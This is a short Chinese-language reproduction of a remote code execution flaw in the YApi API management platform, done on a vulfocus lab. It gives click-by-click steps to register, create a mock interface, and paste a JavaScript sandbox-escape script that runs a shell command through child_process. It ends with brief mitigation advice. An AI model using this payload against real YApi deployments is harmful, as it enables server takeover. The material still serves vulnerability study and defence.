yapi 代码执行
框架介绍:
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
环境搭建:
这里采用vulfocus在线环境 地址
漏洞复现:
访问首页
注册一个新账号
创建一个新项目
项目名字随便填
点击添加接口
名称、路径随便填
点击高级Mock
点击脚本
点击开启,粘贴脚本
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls").toString()
点击预览
点击地址,进行访问
发现命令执行成功
漏洞防御:
关闭YAPI注册功能
删除恶意账户
回滚服务器快照
同步删除恶意mock脚本以防止二次攻击